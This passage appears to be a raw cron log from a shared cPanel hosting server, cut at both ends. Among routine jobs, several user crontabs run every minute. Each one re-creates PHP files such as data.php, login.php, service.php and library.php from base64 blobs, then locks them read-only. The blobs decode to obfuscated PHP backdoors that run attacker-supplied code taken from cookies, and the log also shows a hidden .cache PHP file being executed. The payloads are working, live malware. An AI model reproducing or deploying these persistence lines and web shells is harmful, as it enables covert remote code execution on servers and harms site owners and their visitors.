xWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:10:01 medusa CROND[11073]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:10:01 medusa CROND[11123]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:10:01 medusa CROND[11124]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:11:01 medusa CROND[28160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:11:01 medusa CROND[28161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:11:01 medusa CROND[28162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:11:01 medusa CROND[28168]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:11:01 medusa CROND[28169]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:11:01 medusa CROND[28172]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:11:01 medusa CROND[28173]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:11:01 medusa CROND[28167]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:11:01 medusa CROND[28177]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:11:01 medusa CROND[28181]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:11:01 medusa CROND[28183]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:11:01 medusa CROND[28184]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:11:01 medusa CROND[28178]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 04:12:01 medusa CROND[16051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:12:01 medusa CROND[16193]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:12:01 medusa CROND[16195]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:12:01 medusa CROND[16201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:12:01 medusa CROND[16202]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:12:01 medusa CROND[16204]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:12:01 medusa CROND[16215]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:12:01 medusa CROND[16216]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:12:01 medusa CROND[16217]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:12:01 medusa CROND[16218]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:12:01 medusa CROND[16222]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:12:01 medusa CROND[16225]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:12:01 medusa CROND[16226]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 04:12:01 medusa CROND[16230]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:13:01 medusa CROND[3877]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:13:01 medusa CROND[3879]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:13:01 medusa CROND[3886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:13:01 medusa CROND[4036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:13:02 medusa CROND[4206]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:13:02 medusa CROND[4207]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:13:02 medusa CROND[4208]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:13:02 medusa CROND[4210]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:13:02 medusa CROND[4212]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 